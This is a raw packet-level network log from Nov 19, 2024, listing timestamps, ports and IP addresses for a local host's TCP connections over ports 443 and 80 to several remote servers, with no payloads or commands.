Nov 19, 2024 01:01:17.425753117 CET	49726	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.425784111 CET	443	49726	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.426479101 CET	49726	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.426485062 CET	443	49726	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.427078009 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.427082062 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.427103043 CET	49725	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.427105904 CET	443	49725	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.555915117 CET	49729	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.555969000 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.556085110 CET	49729	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.558125019 CET	443	49728	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.558393002 CET	443	49728	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.558446884 CET	49728	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.562298059 CET	443	49726	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.562517881 CET	443	49726	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.562573910 CET	49726	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.613362074 CET	49729	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.613384962 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.614849091 CET	49728	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.614861965 CET	443	49728	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.616399050 CET	49726	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.616424084 CET	443	49726	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.756011009 CET	49730	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.756042004 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.756099939 CET	49730	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.757874966 CET	49731	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.757924080 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.757991076 CET	49731	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.758708000 CET	49730	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.758719921 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.759210110 CET	49731	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.759231091 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.760174990 CET	49732	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.760199070 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.760252953 CET	49732	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.760435104 CET	49732	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.760446072 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.761236906 CET	49733	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.761275053 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.761352062 CET	49733	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.762065887 CET	49733	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:17.762079954 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:17.791004896 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:17.791101933 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:17.791173935 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:17.791830063 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:17.791866064 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:18.391824961 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.418745041 CET	49729	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.418772936 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.419598103 CET	49729	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.419605970 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.515722036 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.515914917 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.516374111 CET	49732	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.516392946 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.516814947 CET	49733	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.516825914 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.516897917 CET	49732	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.516902924 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.517436028 CET	49733	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.517441034 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.521064997 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.521416903 CET	49731	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.521430969 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.521974087 CET	49731	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.521979094 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.535352945 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.535794020 CET	49730	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.535816908 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.536580086 CET	49730	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.536583900 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.557779074 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.557954073 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.558008909 CET	49729	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.558238983 CET	49729	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.558254957 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.558264971 CET	49729	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.558269978 CET	443	49729	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.562478065 CET	49735	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.562510967 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.562566042 CET	49735	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.563060045 CET	49735	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.563075066 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.608197927 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:18.905774117 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.905781984 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.905831099 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.905837059 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.906028986 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.906136990 CET	49732	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.906137943 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.906140089 CET	49733	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.906156063 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.906286955 CET	49731	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.906286955 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.906328917 CET	49733	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.906328917 CET	49733	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.906346083 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.906354904 CET	443	49733	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.906368971 CET	49730	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.906575918 CET	49732	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.906598091 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.906615019 CET	49732	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.906621933 CET	443	49732	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.907190084 CET	49730	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.907201052 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.907210112 CET	49730	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.907213926 CET	443	49730	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.907810926 CET	49731	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.907826900 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.907840014 CET	49731	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.907845020 CET	443	49731	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.908088923 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:18.909979105 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:18.910046101 CET	49738	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.910079956 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.910079956 CET	49737	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.910144091 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.910208941 CET	49738	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.910216093 CET	49737	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.910934925 CET	49738	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.910948038 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.911035061 CET	49737	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.911072969 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.911097050 CET	49739	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.911117077 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.911125898 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:18.911181927 CET	49739	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.911307096 CET	49739	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.911346912 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.911828995 CET	49740	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.911885977 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.911961079 CET	49740	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.912091017 CET	49740	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:18.912111044 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:18.915899038 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:19.172152042 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:19.172271013 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:19.175151110 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:19.175158024 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:19.175952911 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:19.178690910 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:19.178750992 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:19.178762913 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:19.178881884 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:19.219348907 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:19.239366055 CET	49673	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:19.411242008 CET	49674	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:19.411242008 CET	49672	443	192.168.2.6	173.222.162.64
Nov 19, 2024 01:01:19.414361954 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.415110111 CET	49735	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.415136099 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.415880919 CET	49735	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.415889025 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.428659916 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:19.429312944 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:19.429362059 CET	443	49734	40.115.3.253	192.168.2.6
Nov 19, 2024 01:01:19.429413080 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:19.429445028 CET	49734	443	192.168.2.6	40.115.3.253
Nov 19, 2024 01:01:19.558217049 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.558854103 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.558914900 CET	49735	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.559091091 CET	49735	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.559091091 CET	49735	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.559104919 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.559113979 CET	443	49735	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.562767029 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.562798977 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.562892914 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.563051939 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.563064098 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.673764944 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.674333096 CET	49738	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.674344063 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.674844027 CET	49738	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.674849033 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.693048000 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.693428993 CET	49739	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.693481922 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.693897009 CET	49739	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.693911076 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.813076973 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.813303947 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.813395023 CET	49738	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.813672066 CET	49738	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.813689947 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.813699961 CET	49738	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.813705921 CET	443	49738	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.815011978 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.815841913 CET	49740	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.815912008 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.816320896 CET	49740	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.816334963 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.818206072 CET	49742	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.818269014 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.818346977 CET	49742	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.818562031 CET	49742	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.818604946 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.829612970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:19.829677105 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:19.835705996 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.835753918 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.835814953 CET	49739	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.835913897 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:19.836373091 CET	49739	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.836414099 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.836440086 CET	49739	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.836457968 CET	443	49739	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.839088917 CET	49743	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.839122057 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.839215994 CET	49743	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.839380980 CET	49743	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.839391947 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.841026068 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:19.957525015 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.957595110 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.957662106 CET	49740	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.957907915 CET	49740	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.957916975 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.957928896 CET	49740	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.957932949 CET	443	49740	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.960928917 CET	49744	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.960983038 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:19.961076975 CET	49744	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.961215973 CET	49744	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:19.961236954 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.134315968 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.134386063 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.139806986 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.146852970 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.330492973 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.380000114 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.425574064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.425596952 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.425683022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.425683022 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.441241026 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.441255093 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.442073107 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.442076921 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.452064991 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.456882000 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.493019104 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.496340990 CET	49737	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.496409893 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.497195959 CET	49737	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.497203112 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.573839903 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.574757099 CET	49742	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.574774027 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.575747013 CET	49742	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.575751066 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.578963995 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.579128981 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.579196930 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.579333067 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.579333067 CET	49741	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.579348087 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.579356909 CET	443	49741	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.582500935 CET	49745	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.582535028 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.582611084 CET	49745	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.582745075 CET	49745	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.582751989 CET	443	49745	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.632942915 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.633053064 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.633121014 CET	49737	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.633294106 CET	49737	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.633335114 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.633363008 CET	49737	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.633378029 CET	443	49737	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.636626005 CET	49746	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.636687040 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.636758089 CET	49746	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.636931896 CET	49746	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.636960983 CET	443	49746	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.714785099 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.715118885 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.715188980 CET	49742	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.715267897 CET	49742	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.715267897 CET	49742	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.715300083 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.715341091 CET	443	49742	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.718271017 CET	49747	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.718301058 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.718380928 CET	49747	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.718560934 CET	49747	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.718573093 CET	443	49747	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.727689028 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.728154898 CET	49743	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.728162050 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.728780031 CET	49743	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.728784084 CET	443	49743	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.735686064 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.735702991 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.735714912 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.735750914 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.735754967 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.735805035 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.735805035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.735805035 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.735817909 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.735846043 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.735867977 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.736388922 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.736439943 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.736444950 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.736490011 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.737957954 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:20.742773056 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:20.749782085 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.750205994 CET	49744	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.750227928 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.750837088 CET	49744	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.750849962 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.899575949 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.899722099 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.899808884 CET	49744	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.899956942 CET	49744	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.899979115 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.900002956 CET	49744	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.900015116 CET	443	49744	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.903336048 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.903350115 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:20.903439999 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.903614998 CET	49748	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:20.903620005 CET	443	49748	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:21.020842075 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:21.020934105 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:21.037385941 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:21.037441969 CET	49736	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:21.046801090 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:21.046941996 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:21.046962976 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:21.046972990 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:21.046982050 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:21.047420025 CET	80	49736	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:21.047430992 CET	80	49736	185.215.113.206	192.168.2.6
